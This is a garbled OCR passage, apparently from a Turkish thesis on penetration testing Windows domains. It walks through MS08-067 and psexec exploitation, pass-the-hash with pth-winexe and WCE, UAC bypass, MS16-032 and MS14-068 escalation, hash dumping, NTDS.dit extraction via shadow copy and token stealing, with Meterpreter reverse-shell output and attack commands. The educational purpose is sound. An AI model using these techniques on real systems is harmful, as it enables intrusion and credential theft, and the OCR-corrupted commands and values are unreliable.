Yontem - 3: Windows igletim sisteminde oturum agabilmek icin bir diger ydntem
de Sekil 4.7°de goriildiigii gibi Linux chntpw araci ile mevcut kullanicilarindan birisinin
parolasim sifirlamak veya yeni bir yerel yonetici kullanicisi olugturmaktir. Ancak mevcut
kullanicilarin parolas: sifirlandiginda sonraki adimlarda incelenecek olan Pass The Hash
saldirilar: igin 6nemli bir bilgi olan yerel kullanici parola 6zet bilgileri degismis olacaktir.
Bu sebeple mevcut kullanicilar degistirilmeden yeni kullanicilarin olugturulmas: tavsiye

edilmektedir.

S ™ ubuntu@ubuntu: /media/2Z00ABDAZ0ABDT616/Windows/System32 fconfig

Failed login count: @, while max tries is: 3

Total login count: 14

** No NT MD4 hash found. This user probably has a BLANK password!

** No LANMAN hash found either. Sorry, cannot change. Try login with
no password!

- User Edit Menu:
Clear (blank) user password
Edit (set new) user password (careful with this on XP or Vista)
Promote user (make user an administrator)
Unlock and enable user account) [seems unlocked already]
Quit editing user, back to user select
Select: [q] = 1
Password cleared!

Hives that have changed:
# Name
0 <5AM=

Write hive files?

SEKIL 4.7: Linux chntpw Araci ile Parola Sifirlama

4.2 Igletim Sistemi Erigimi

Sizma testleri sirasinda, olasi zafiyetler istismar edilerek Windows igletim sistemine erigim
saglamaya ve bilgisayarda oturum agilmaya caligihr. Bu oturum; masaiistii oturumu

olabilecegi gibi, uzaktan kontrol edilen bir komut satir1 oturumu da olabilir.
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Istemci tarafli saldirilar ile de igletim sistemleri ele gecirilebilir. Ancak, istemci tarafl
saldirilar sosyal miihendislik kapsaminda degerlendirildigi i¢in etki alani sizma testleri

kapsaminda ele alinmamigtir.

Isletim sistemine erisimin saglanmas: sirasinda istismar edilebilecek zafiyetler 3 ana alt

baglikta incelenebilir.

4.2.1 Igletim sistemi zafiyetlerinin istismari

Isletim sisteminden (servisten) kaynakl olan cesitli zafiyetler istismar edilerek, herhangi
bir kimlik bilgisi olmaksizin, igletim sisteminde cesitli (servisi gahgtiran hesaba ait)
yetkilere sahip olunabilir. MS03-026, MS04-007, MS08-067 [122] gibi zafiyetler en sik
kargilagilan zafiyetlerdendir. Bu zafiyetlerin istismari i¢in internetten indirilen veya &zel
hazirlanmig istismar kodlar1 kullanilabildigi gibi, Sekil 4.8’de goriildiigii gibi Metasploit

Framework tarzi platformlar da kullamlabilir.

msf exploit( ) > exploit

Started reverse handler on 192.168.244,146:4444

Automatically detecting the target...

Fingerprint: Windows XP - Service Pack @ / 1 - lang:Unknown

Selected Target: Windows XP SPO/SP1 Universal

Attempting to trigger the vulnerability...

Sending stage (770048 bytes) to 192.168.244.138

Meterpreter session 1 opened (192.168.244.146:4444 -> 192,168.244,138:1030)

meterpreter > |]

SEKIL 4.8: Windows Igletim Sistemindeki ms08-067 Zafiyetinin Istismar

4.2.2 Uygulama zafiyetlerinin istismari

Sekil 4.9’da goriildiigli gibi igletim sistemindeki bir uygulamadan kaynakl olan gesitli

zafiyetler istismar edilerek, bir takim yetkilere sahip olunabilir.

msf exploit( ) > exploit

[*] Started reverse handler on 192.168.100.250:4444
[*] Sending stage (770048 bytes) to 192.168.100.120
[*] Meterpreter session 2 opened (192.168.100.250:4444 -> 192,168.100,120:49158)

meterpreter > getuid

Server username: ORNEK\Zeynep
meterpreter > getpid

Current pid: 2652

SEKIL 4.9: Achat Uygulama Zafiyetinin Istismar:
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4.2.3 Yapilandirma ayarlarimin istismari

Kurumlardaki bilgisayarlarda ortak hesaplarin kullanilmasindan kaynakl konfigiirasyon
zafiyeti ile sik sik kargilagilmaktadir. Bu sebeple, bir bilgisayardan elde edilen kim-
lik bilgisi ile bagka bilgisayarlara erigim saglanabilir. Bir diger 6nemli konfigiirasyon
zafiyeti ise, fiziksel erisim saglanan bilgisayarda, fiziksel giivenligin atlatilarak oturum
elde edilmesidir. Konfigiirasyon zafiyetlerinin istismarina yonelik yontemler agagidaki

gibi siralanabilir.

Yontem - 1: Elde edilen acik parola bilgisi ile bir bilgisayara uzaktan erigim saglanabilir.

Bu amacla Sekil 4.10’da goriildiigi gibi Sysinternals psexec araci kullanilabilir.

C:\>psexec.exe “\\192,168.2.222 cmd.exe -u Horkgroup\Yonetici -p Aal23456

PsExec vZ2.2 - Execute processes remotely
Copyright (C) 2@@1 2816 Mark Russinovich
Sysinternals - www.sysinternals.com

Microsoft Windows [Version 6.1.7600@]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
win-tconZhsrfcl\yonetici

C: \Hlndows\system32>1pconf19 i Flndstr IPv4
IPv4 Address. . . . : 192.168.2.222

SEKIL 4.10: Sysinternals Psexec Araci

Windows komut satir1 elde edildikten sonra kurban bilgisayarin {izerindeki veya saldir-
ganin belirledigi bir dosya paylagimindaki zararli yazilim baglatilarak, istemci tarafli bir
saldir1 gibi Meterpreter baglantisi elde edilebilir. Ancak ¢ogu zaman parolamn kendisi

degil, 6zeti elde edilebilmektedir. Bu gibi bir durumda diger yontemler tercih edilebilir.

Yontem - 2: Elde edilen acgik parola ozeti bilgisi ile bir bilgisayara Sekil 4.11°de
goriilldiigii gibi MSF psexec veya psexec psh modiilleri kullanilarak erigilebilir.

exploit( ) > exploit

Started reverse handler on 192.168.100.10:4444

Connecting to the server..

Authenticating to 192.168.100.60:445|WORKGROUP as user 'Vedat'...
Uploading payload. ..

Created \pSLgISGu.exe...

192,168.100.60:445 - Service started successfully..

Deleting \pSLgISGu.exe...

Sending stage (770048 bytes) to 192.168.100.60

Meterpreter session 3 opened (192.168.100.10:4444 -> 192.168.100.60:49865)

meterpreter > getuid
erver username: NT AUTHORITY)

SEKIL 4.11: MSF Psexec Modiili
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Yontem - 3: Istemci tarafli giivenlik mekanizmalar (Antiviriis, HIPS gibi) sebebi
ile MSF tarafindan hazirlanan zararli yazilimlar yerine ayni iglemi yapan ancak bu
mekanizmalara yakalanmayan zararh yazilimlar kullanilmas: gerekebilir. Bu amacgla Sekil
4.12’de goriildiigii gibi MSF psexec command modiilii ile paylagimdaki zararl bir yazilim

caligtirilabilir.

msf auxiliary(psexec_comm ) > exploit

*] 192.168.4.17:445 - Executing the command...
*] 192.168.4.17:445 - Getting the command output...
*] 192.168.4.17:445 - Command finished with no output
*] 192.168.4.17:445 - Executing cleanup..
192.168.4.17:445 Unable to cleanup \HINDOWS\Temp\HFuAmmthyeTEllr Xt. E
rror: The server responded with error: STATUS_SHARING_VIOLATION (Command=6 Wor
dCount=0)
192.168.4.17:445 - Unable to cleanup. Maybe you'll need to manually remove
true, false from the target.
[*] Scanned 1 of 1 hosts (100% complete)
[#¥] Auxiliary module execution completed
msf auxiliary(psexec_command) > |j

SEKIL 4.12: MSF psexec-command Modiili

Boylece Meterpreter kabugu elde edilebilir.

Yontem - 4: Giivenlik mekanizmalarinin atlatilamadigi durumlarda ise Microsoft tarafin-
dan sunulan Sysinternals psexec araci gibi igletim sisteminin Windows komut satirina
erigsim ihtiyaci olabilir. Bu amacla Sekil 4.13’te goriildiigii gibi Linux pth-winexe araci
kullanilabilir.

@ -1 ~# pth-winexe -U WORKGROUP/yonetici%AAD3B435B51404EEAAD3B435B51404EE
47EF8G39Ao506CD67C524A03FF“4BA4E //192.168.4.23 cmd
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C :\Windows\system32>whoami
vhoami
pc7\yonetici

C:\Windows\system32>

SEKIL 4.13: Linux pth-winexe Araci

Yontem - 5: Parola ozeti kullanilarak herhangi bir giivenlik mekanizmasina yakalan-
madan Windows komut satirina erigimin bir diger yontemi de bellekteki kimlik bilgi-
lerini degistirmektir. Ornegin, Vedat kullanicisinin parola dzetlerinin elde edildigi bir or-
tamda, WCE veya Mimikatz araci ile RAM {izerindeki oturuma ait NTLM bilgileri Vedat

hesabina ait kimlik bilgileri (Kullanici ad1 ve parola &zeti) ile degistirilebilir. Ornegin,
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WCE araci “-s” secenegi ile caligtirildiktan sonra, Saldirgan hesabina ait parolanin NTLM
ozet bilgilerinin (sadece NTLM bilgilerinin), Vedat’in parolasina ait NTLM 6zet bilgileri
ile degistigi Sekil 4.14’te goriilmektedir.

C:\Users\Saldir an\Desktog)wce ] NORKGROUP Vedat : aad3b435b51484eeaad3b435b5140

ee: fa32@dabcf 3d5S3bde74bbac 7204718

WCE vl 472beta (X64) (Hindows Credentlals Editor) - (c) 2010-2013 Amplia Security
Hernan Ochoa (hernanPampliasecurity.com)

Use —h for help.

Changing NTLM credentials of current logon session (@PBZZAD8h) to:

NTLM credentials successfully changed!

C:\Users\Saldirgan\Desktop>wce -1

NCE vl 47beta (X64) (Hindows Credentials Editor) - (c) 20192-2013 Amplia Security
Hernan Qchoa (hernan®ampliasecurity.com

Use —h for help.

C:\Users\Saldirgan~\Desktop>wce -w

WCE vl 4Z2beta (X64) (Hindows Credentials Editor) - (c) 2010-2013 Amplia Security
Hernan QOchoa (hernan@ampliasecurity.com

Use —h for help.

C:\Users\Saldirgan:\Desktop>.

SEKIL 4.14: WCE ile RAM Uzerindeki Parolay1 Degistirme

Boylece Sysinternals psexec araci ile uzak bilgisayara erigim saglanabilir.

Yontem - 6: Uygun gekilde yapilandirilmamig aglarda saldirgan, kurban olarak sectigi
bir bilgisayar ile bu bilgisayarin gitmek istedigi hedef adresin arasina girebilir. Bu
aglarda, Windows igletim sistemini giincellemek isteyen kurban, Microsoft’un giincelleme
sitesine gitmek yerine, saldirganin belirledigi DNS kaydina gore ilgili bir sunucuya yon-
lendirilecektir. Boylece Sekil 4.15’te goriildigii gibi Windows igletim giincellemesi yer-
ine saldirganin gonderdigi zararli yazihm yiiklenerek kurban bilgisayar, saldirganin eline

gecmis olacaktir.

SEKIL 4.15: Windows Update Ozelliginin Istismar:
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4.3 Hak Yikseltme

Windows igletim sisteminde en yetkili kullanici hesabr SYSTEM hesabidir. Etki alanin-
daki en yetkili kullamic1 hesabi ise, Domain Admins (ve Enterprise Admins) grubundaki
bir hesap oldugu soylenebilir. Windows igletim sistemine erigim saglandiktan sonra, igle-

tim sisteminde ve etki alanindaki bir zafiyet kullanilarak, hak yiikseltilmeye cahsgilabilir.
Hak yiikseltilmesine yonelik cesitli érnekler asagidaki gibi siralanabilir.

Yontem - 1: Etki alanindaki bir bilgisayarda yerel yonetici haklar: ile etki alaninda
sorgulama gercgeklegtirilemez. Bu sebeple, Administrators grubu {iyelerinin SYSTEM
yetkilerine erigmesi gerekebilir. Bu amagla Sekil 4.16’da goriildiigii gibi Sysinternals

PsExec arac: kullamlabilir.

C:\Users\Vedat\Desktop>PsExec.exe -s cmd -accepteula

PsExec vZ2.11 - Execute processes remotely
Copyright (C) 2001-2014 Mark Russinovich
Sysinternals - www.sysinternals.com

Microsoft Hindows [Version &6.1.76011]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami

C:\Hindows\system32>net user /domain
The request will be processed at a domain controller for domain ornek.local.

User accounts for \\DCMakinesi.ornek.local

IThe command completed with one or more errors.

C:\Windows\system3Z>_

SEKIL 4.16: Sysinternals Psexec Araci ile SYSTEM Yetkilerinin Elde Edilmesi

Yontem - 2: Windows igletim sisteminde yonetici haklarina sahip olunsa bile UAC
etkin oldugu durumda kullanicidan onay alinmasi gibi bir koruma mekanizmasi sagladigi
icin UAC korumaginin atlatilmasi gerekir. UAC mekanizmasini atlatabilmek i¢in Sekil
4.17°de gorildiigii gibi MSF bypassuac_injection modiilii [123] ile yeni bir baglant1 elde
edilebilir.

Yontem - 3: Windows bir istemci bilgisayardaki en énemli hak yiikseltme zafiyetleri
MS10-015, MS13-053, MS15-051, MS16-032 olarak siralanabilir. Bu zafiyetler ile stan-
dart kullanici haklarina sahip bir kullanici, yonetici veya SYSTEM yetkilerine sahip
olabilmektedir. Sekil 4.18’de Powershell betigi ile hak yiikseltme iglemi goriilmektedir.
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msf > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: PC\Yonetici
meterpreter > getsystem
priv_elevate_getsystem: Operation failed: Access is de
meterpreter > ps -s
Filtering on SYSTEM processes...
No running processes were found.
meterpreter > wdigest
[!1 Not currently running as SYSTEM
[*] Attempting to getprivs
Did not get SeDebugPrivilege
Retrieving wdigest credentials
igest credentials

: Impossible d'obtenir les donnges de session
r : Impossible d'obtenir les donnfes de session
: Impossible d'obtenir les donnBies de session

r : Impossible d'obtenir les donnfies de session
: Impossible d'obtenir les donnBes de session
PC Yonetici OpenProcess : (0x00000005) Access is denied. n.a. (wdigest KO)
PC Yonetici OpenProcess : (0x00000005) Access is denied. n.a. (wdigest KO)

exploit( ) > exploit

Started reverse handler on 192.168.74,130:8443

UAC is Enabled, checking level...

UAC is set to Default

BypassUAC can bypass this setting, continuing...

Part of Administrators group! Centinuing...

Uploading the Payload DLL to the filesystem..

Spawning process with Windows Publisher Certificate, to inject into...

Successfully injected payload in to process: 708

Sending stage (769536 bytes) to 192.168.74.132

Meterpreter session 2 opened (192.168.74.130:8443 -> 192,168.74.132:49579) at 2015-07-11 07:21

meterpreter >

SEKIL 4.17: Meterpreter ile UAC Atlatma

PS C:NUsers\StandartHesap\Desktop> PowerShell.exe -ExecutionPolicy UnRestricted
Hindows PowerShe
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

C:NUsers\StandartHesap\Desktop? Import-Module .\39719.ps1l
C:\Users\StandartHesap\Desktop? Invoke-MS16-032

= I
[by b33f -> @FuzzySecl
7] Operating system core count: 2
2] Duplicating CreateProcessWithLogond handles..
?]1 Done, got thread handle(s)!
[?] Thread handle list:
1296

L
L
L

Sniffing out privileged impersonation token..

Trying thread handle: 1296

Thread belongs to: swvchost

Thread suspended

Hiping current impersonation token
Building SYSTEM impersonation token
Success, open SYSTEM token handle: 1276
Resuming thread..

Sniffing out SYSTEM shell..

Duplicating SYSTEM token

Starting token race

tarting process race

Holy handle leak Batman, we have a SYSTEM shellt!

PS C:\Users“\StandartHesap~Desktop> _

Services (Local)

Secondary Logon Name Description Status Startup Type Log On As

4, Secondary Logon Enables starting processes under alternate credentials... Started Manual Local System

Pause the service
BN Administrator: CAWindows\System32\cmd.exe

Description: Microsoft Windows [Version &.1.760@1
Enables starting processes under Copyright (c) 2009 Microsoft Corporation. All rights reserved

alternate credentials. If this service is

stopped, this type of logon access C:\Users\StandartHes aP\DES 34 0P>Wh oami

00 SO I T, Y I S

SEKIL 4.18: Istemcide Hak Yiikseltme Zafiyetleri
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Yontem - 4: MS14-068 zafiyetinin istismari ile etki alanindaki standart yetkilere sahip
bir kullamic1 etki alaninda yetkili bir kullanici haklarima Sekil 4.19°da goriildiigi gibi
sahip olabilir.

:~/pykek-master# python ms14-068.py -u Levent.Altay@ornek.local -s S-1-5-21-2894599

646-2825042678-4174893972-1115 -d DCmakinesi.ornek.local -p Lal23456

[+] Building AS-REQ for DCmakinesi.ornek.local... Done!

[+] Sending AS-REQ to DCmakinesi.ornek.local... Done!

[+] Receiving AS-REP from DCmakinesi.ornek.local... Done!

[+] Parsing AS-REP from DCmakinesi.ornek.local... Done!

[+] Building TGS-REQ for DCmakinesi.ornek.local... Done!

[+] Sending TGS-REQ to DCmakinesi.ornek.local... Done!

[+] Receiving TGS-REP from DCmakinesi.ornek.local... Done!

[+] Parsina TGS-REP from DCmakinesi.ornek.local... Done!

[+] Creating ccache file 'TGT_Levent.Altay@ornek.loc¢gl.\dcache!!.[.||Dong!

minikatz{comnandline> # kerbheros::ptc TGI_Levent.AltayPornek.local.ccache
Principal : <@1)> : Levent.Altay ; @ ORNEK.LOCAL

Data B
Start/End/MaxRenew: 12/11,2014 7:51:33 AM ; 12,11,2014 5:51:33 PM ; 12,18,2814 7:51:33 AN
Service Mame (@1> : krbtgt ; ORMEK.LOCAL ; @ ORMEK.LOCAL
Targe @1 : krbtgt ; ORNEK.LOCAL ; @ ORNEK.LOCAL
a1y : ent. i AL

5800808 3 1 proxiable ; Forwardahle ;

on Key

4d'.’bbbu!|eea'.’d3 5 3
Ticket BAABBAARA — null 5 kvno = 2 | . |

SEKIL 4.19: MS14-068 Zafiyetinin Istismar

Yukaridaki yéntemlerin haricinde bir kullanict RAM iizerinde jetonu bulunan bagka bir

kullanicinin kimligine biiriinebilir. Bu saldir1 yontemi icin 4.4.3 bagligi incelenebilir.

4.4 Bilgisayar Uzerinde Kritik Bilgi Elde Etme

Windows igletim sistemine erigim saglandiktan sonra, mevcut yetkiler kullanilarak bil-
gisayar {izerinde hedefe yonelik kritik bilgiler aranir. Bunun yaninda istemci tarafli
saldirilarda kullanilan baglanti génderme, pop-up cikarma, klavye hareketlerini kaydetme
gibi galigmalar da gergeklestirilebilir. Ele gecirilen sistemlerden elde edilebilecek bilgilerin

en 6nemlileri agagidaki gibidir:

Bilgisayarin etki alani, yereldeki ve etki alanindaki kullanicilar ve gruplar

Bilgisayarda oturumu agik olan veya daha 6nceden oturum agmig olan yerel veya

etki alanindaki kullanicilar ve bu kullanicilara ait bilgiler

Bilgisayarin diskinde kayitli olan bilgiler

Bilgisayardaki uygulamalardan elde edilen bilgiler
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Isletim sistemine erigimin saglandiktan sonra, tespit edilebilecek kritik veriler 5 alt baglikta

incelenebilir.

4.4.1 Yerel bilgisayar veya etki alan1 hakkinda bilgiler

Bir Windows bilgisayara erigim sagladiktan sonra, gercgeklegtirilebilecek adimlardan ilki
oturum elde edilen bilgisayar hakkinda bilgi elde etmektir. Bu bilgiler agagidaki gibi
listelenebilir.

e Bilgisayarda sahip olunan yetki

e Bilgisayarin igletim sistemi ve bilgisayarin dahil oldugu etki alani

e Yerel gruplar ve yereldeki kritik gruplar (Administrators, Remote Desktop Users

gruplart gibi)

e Yereldeki bilgisayarda ve etki alaninda bulunan kritik gruplara ait kullanicilar veya

nesneler (Administrators, Domain Admins, Domain Computers gibi)
e Parola politikas:
e Paylagimlar
e Bilgisayara gerceklestirilen ve bu bilgisayardan gerceklestirilen baglantilar
o Ag bilgileri

e Yiiklii olan programlar

4.4.2 Parola 6zetleri veya bu bilgileri iceren dosyalar

Yerel yonetici veya SYSTEM yetkileriyle bilgisayara erigim saglandiktan sonra, bilgisa-
yardaki kullanicilara ait parola ozetleri elde edilmeye galigthr. Bu amagla, SAM /
NTDS.dit ve SYSTEM dosyalar1 alinabilecegi gibi, parola 6zetleri de elde edilebilir. Elde
edilen bu parola 6zetlerine ile John the Ripper, RainbowCrack, fgdump, Lophtcrack,
Ophcrack, Cain & Abel, Hydra, Ncrack vb. araclar kullanilarak sézliik saldirilar: gercek-
legtirilebilir. Kimlik dogrulama dosyalarinin veya parola 6zetlerinin elde edilmesine yone-

lik cesitli 6rnekler agagidaki gibi siralanabilir.
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Yontem - 1: Varsayilan olarak igletim sistemi ¢aligiyor durumda iken, C:\Windows\Sys
tem32\config dizini altindaki SAM ve SYSTEM dosyalarma erigim gergeklegtirilemez.
Bunun yaninda Kayit Defteri tizerindeki SAM ve SYSTEM kayitlarina gergek zamanda
erigim saglanabilmektedir. Komut satirinda bu kayit degerleri bir dizine ‘reg” araci ile

Sekil 4.20’de goriildiigii gibi kaydedilebilir.

= alnl= = = £ i
= Operas - Omp leted =
= AR e s Sy e
= Opers - omp leted =
= one -
- 2 - = = - SDe
- = = = De L 4 4 =
) = - -
5 114 ) = IR A3 =
) s ) ] 9 F ] = = =
) 2 NS ) 1 A 1K He og
(19 (] (] - NTR » e lar =
) Gla 1o 1S = 1K Frogra = 86
) Gla 1o ] -
) Gla 1o ) 65 F
) Gla 1o Gla 4 P 1K =
) Gla 1o ) H 1K clo
-
= - o0 D
& L 6, 099, ¢ 4 b = =
= O e

SEKIL 4.20: Windows reg Komutu ile SAM ve SYSTEM Dosyalarinin Elde Edilmesi

Yontem - 2: Hedef Windows igletim sisteminde Cain & Abel, fgdump gibi araclar
kullanilarak parola 6zetleri Sekil 4.21°de goriildiigii gibi elde edilebilir.

SH S BN |+ RRIPEENE0ERE 07 |0
@ Decoders |§ Metwork |i‘ﬂ Sniffer Ig)‘2 Cracker ‘I@ Traceroute |M Cccou I‘(&')J Wireless |_3!) Query |
éj‘” Cracker = | User Mame | LM Password | < § | MNT Password | LM Hazh NT Hash challenge T
/3l LM & NTLM Hashes (0)
.3 NTLMv2 Hashes (0)
ﬁﬂ MS-Cache Hashes (0) & Import Hashes from lacal system
& PWLfiles (0)
M Cisco 105-MD5 Hashes (0)

Add NT Hashes frem =

[ Include Password History Hashes

HH Cisco PIX-MD5 Hashes (0) " Import Hashes from a text file
- APOP-MD5 Hashes (0) £ | J
%8 CRAM-MDS Hashes (0)
Q’ QSPF-MDS5 Hashes (0) " Import Hashes from 2 SAM database

.6 RIPv2-MD5 Hashes (0)

.. hD2 Hashes (0)

. hD4 Hashes (0) |

.. MDS5 Hashes (0)

... 5R SHA-1 Hashes (0) = ‘ .

M SHA-2 Hashes (0) _ Corcel [ News |

& RIPEMD-160 Hashes (0)
{53 Kerb5 PreAuth Hashes (0)

% Radius Shared-Key Hashes (0] - a LM & NTLM Hashes

http://www.oxid. it

4 VRRP-HMAC Hashes (0
[l VINC-3DES (0) | J

] . [

SEKIL 4.21: Windows reg Araci ile SAM ve SYSTEM Dosyalarimin Elde Edilmesi
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Yontem - 3: SAM ve SYSTEM dosyalar: elde edildigi durumlarda Linux Ophcrack
aracl, Linux samdump?2 ve bkhive araglar, Windows Cain & Abel araci ile yerel hesaplara

ait parola 6zetleri Sekil 4.22’de goriildiigi gibi elde edilebilir.

File Wiew Configure Tools Help

i B EVYEMEE2O0%E 0% 0
&, Decoders | @ Network [M9 Sniffer [of Cracker [ Tracercute [HE cCDU [ Wireless [ Query |

|7 Cracker [t | <8 [ NTPassword | LMHash I challenge | Type | Note
) LM & NTLM Hashes (4) . AAD3IB4I3B5140 SESL404EE LM & NTLM
1A NTLMW2 Hashes (0) ¥ * empty *
# X  empt - AADB4ISBILUEEALDIBAISES LAO4EE LM & NTLM
& X Test empty AAD3BA35BSL404EEANDIBAISES LAOAEE LM & NTLM
M Cisco 105-MDS Hashes ()
W Cisco PIL-MDS Hashes 0)

SEKIL 4.22: Cain & Abel Araci ile SAM ve SYSTEM Dosyalarindan Parolalarin Elde
Edilmesi

Yontem - 4: Meterpreter baglantisinin elde edildigi durumlarda Meterpreter “hash-
dump” komutu, MSF “hashdump” post modiili ve MSF “smart hashdump” post mod-
iilleri kullanilarak yerel ve etki alani denetleyicilerine ait parola 6zetleri Sekil 4.23’te
goriildiigii gibi elde edilebilir.

post( ) > run

Running module against PC2
Hashes will be saved to the database if one is connected.
Hashes will be saved in loot in JtR password file format to:
/root/.msf4/100t/20150125052955_default_192.168.100.60_windows.hashes_111106. txt
Dumping password hashes. ..
Running as SYSTEM extracting hashes from registry
Obtaining the boot key...
Calculating the hboot key using SYSKEY Sda7ddacalcl2lea8fdd7cOdBaOclSce. . .
Obtaining the user list and keys...
Decrypting user keys...
Dumping password hints...
No users with password hints on this system
Dumping password hashes. ..
Administrator:500: aad3b435b51404eeaad3b435b51404ee: 1d6fchd306077d663e23775e55b3f2e
Yonetici:1003:aad3b435b51404eeaad3b435b51404ee: 0836c3f5d34fb059ef68b708fc66ce3:
Vedat: 1007: aad3b435b51404eeaad3b435b51404ee: fa320a5cf3d53b4e74bbac7304718672: :
Saldirgan: 1008: aad3b435b51404eeaad3b435b51404ee:20376e41lefeld13252a2d5e290fbbf24
Post module execution completed
post( ) >

SEKIL 4.23: Meterpreter ile Parola Ozetlerinin Elde Edilmesi

Yontem - 5: Meterpreter kabugu elde edilmeyen etki alam denetleyicisi (DC) tizerinde
Volume Shadow Copy ozelligi ile disk {izerinde bir golge kopya (Shadow Copy) olustu-
rulur. Béylece NTDS.dit ve SYSTEM dosyalarimin kopyasi Sekil 4.24°te goriildiigii gibi
elde edilebilir.

Cisdindowsssystem32 sussadmin.exe list shadows | x "
vssadmin 1.1 — Uolume Shadow Copy Service adninistrative command—line tool
(G> Gopyright 2001-2085 Microsoft Garp.

Contents of shadow copy set ID: {Babcd?dl-abed 44df FcBcBeefd?52d5h2>
Contained 1 shadow copies at creation time: 19.11.2814 11:27:48
Shadow Copy ID: {h8dc%hcd-632Z7-4569-beel—-al?17al1d965c>
Original Uolume: (G:>W"\Ualume{@f38cdd5—64b5-11c4-9227-BB6e6fhebI633N
Lhadow Copy Uolume
Originating Machine: W54-94.internet®s . local
Service Machine: WS4-BB8.internet®3.local
Provider: "Microsoft Software Shadow Copy provider 1.8°
Type: GlientAccessible
Attributes: Persistent, Client-accessible. Mo aute release. No writers, Differential

C:a~Uindowsssystem32>

G:\l-lindn\lwsl}S_{szegBZ):gpg NS?NGLOBALROOTNDevicesHarddiskUo lumeShadowCopylswindowssntds\ntds .dit C:\Users“Administrator\Desktop
ile<s)> copied.

C=\l-lindmlws;-‘_:ys:el;BZ)cqu SS?AGLOBALROOTNDev ice“HarddiskUo luneShadowCopylswindowsssystend2hconf ighSYSTEM C:\Users“Adninistrator\Desktop
ile{s> copied.

SEKIL 4.24: Volume Shadow Copy ile NTDS ve SYSTEM Dosyalarinin Elde Edilmesi
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Flde edilen dosyalar Linux esedbtools ve ntdsxtract araclarina verilerek etki alani kul-

lanicilarina ait parola ozetleri Sekil 4.25’te goriildiigii gibi elde edilebilir.

Record ID: 3829
User name: Dogan Bozbeyli
User principal name: Dogan.Bozbeyli
SAM Account name: Dogan.Bozbeyli
SAM Account type: SAM NORMAL USER ACCOUNT
GUID: 20al3e9%a-a7ad-4dfd-ad7c-beff2afB8e283
SID: S-1-5-21-2421296916-2867809323-1461498495-1192
When created: 2014-11-10 02:01:02
When changed: 2014-11-10 02:01:02
Account expires: Never
Password last set: 2014-11-10 02:01:02.426380
Last logon: Never
Last logon timestamp: Never
Bad password time Never
Logon count: 0
Bad password count: 0
User Account Control:
NORMAL ACCOUNT
PWD Never Expires
Ancestors:
SROOT_OBJECT$ local bilgiguvenligi KULLANICILAR Is Gelistirme Dogan Bozbeyli
Password hashes:
Dogan Bozbeyli:$NT$7£843dcd47699028115£f9b2a30ba67bf0: ::

Record ID: 3830

User name: Duran Bulut

User principal name: Duran.Bulut

SAM Account name: Duran.Bulut

SAM Account type: SAM NORMAL USER ACCOUNT
GUID: c¢521e369-6d52-48b0-82bd-d43cc30cB8362

SID: S-1-5-21-2421296916-2867809323-1461498495-1193
When created: 2014-11-10 02:01:02

When changed: 2014-11-10 02:01:02
Account expires: Never

Password last set: 2014-11-10 02:01:02.535581
Last logon: Never

SEKIL 4.25: Esedbtools ve Ntdsxreact ile Ntds ve SYSTEM Dosyalarindan Parolalarin
Elde Edilmesi

Meterpreter elde edilmigse bir 6nceki yontemdeki modiiller veya MSF domain _hashdump

post modiili ile etki alam kullanicilarina ait parola ozetleri elde edilebilir.

4.4.3 RAM iizerinde kayitlh jetonlar

Yerel yonetici veya SYSTEM yetkileriyle bilgisayara erigim saglandiktan sonra, bilgisa-
yardaki kullamcilara ait jetonlar (token) elde edilmeye ¢aligihir. Bu amagla, mevcut
durumda calisan prosesler ve prosesleri caligtiran kullanict hesaplar: incelenerek jetonlar
calinir ve kritik yetkiler elde edilebilir. Jetonlarin elde edilmesine ytnelik cesitli 6rnekler

agagidaki gibi siralanabilir.
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Yontem - 1: Meterpreter baglantisi elde edilmisse, steal token veya migrate komutlar:
veya incognito eklentisi ile bagka bir kullanicinin prosesine Sekil 4.26’da goriildiigii gibi

atlanabilir [118].

1728 500 sppsvc.exe x86_64
1824 500 svchost.exe x86_64
1856 500 svchost.exe x86_64
1948 2136 rundll32.exe x86

2128 1740 rundll132.exe x86

2144 1444 explorer.exe xB86_64
2288 244 winlogon.exe x86_64
2540 500 svchost.exe Xx86_64
2792 500 SearchIndexer.exe x86_64
2888 824  dwm.exe x86_64
3008 244 csrss.exe x86_64
3068 2144 vmtoolsd.exe x86_64

NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM
PC1\Kerem

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM
PC1\Kerem

NT AUTHORITY\SYSTEM
PC1\Kerem

\Windows\System32\sppsvc.exe
\Windows\System32\svchost.exe
\Windows\System32\svchost.exe
\Windows\SysWOW64\ rundl132. exe
Windows\SysWOW64\rundl132.exe
\Windows\explorer.exe
\Windows\System32\winlogon.exe
\Windows\System32\svchost.exe
\Windows\System32\SearchIndexer. exe
\Windows\System32\dwm.exe
\Windows\System32\csrss.exe
\Program Files\VMware\VMware Tools\

NNNOONNODOOOO
[aNaliaslaNsNalaNaNaNaNaNal

meterpreter > getpid
id: 2128
r > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
meterpreter > ps -U PCL
Filtering on user name...

Process List

PPID Name Arch Session User
2144 cmd.exe x86_64 PC1l\Kerem :\Windows\System32\cmd. exe
3008 conhost.exe x86_64 PCl\Kerem C:\Windows\System32\conhost.exe
500 taskhost.exe xB86_64 PCL\Kerem C:\Windows\System32\taskhost.exe
1664 624 slui.exe x86_64 PC1\Kerem indows\System32\slui.exe
2144 1444 explorer.exe x86_64 PCl\Kerem C:\Windows\explorer.exe
2888 824  dwm.exe X86_64 PC1l\Kerem C:\Windows\System32\cwm.exe
3068 2144 vmtoolsd.exe x86_64 PC1\Kerem :\Program Files\VMware\VMware Tools\vmtoolsd.exe

NMNRKRNMNNN

meterpreter > steal_token 1664
Stolen en with username: PCl\Kerem

meterpreter > getuid
Server username: PCl\Kere

SEKIL 4.26: Prosese Atlama

Yontem - 2: Meterpreter baglantisinin elde edilemedigi durumlarda Powershell Invoke-

TokenManipulation betigi kullanilarak bagka bir kullanicinin prosesine atlanabilir.

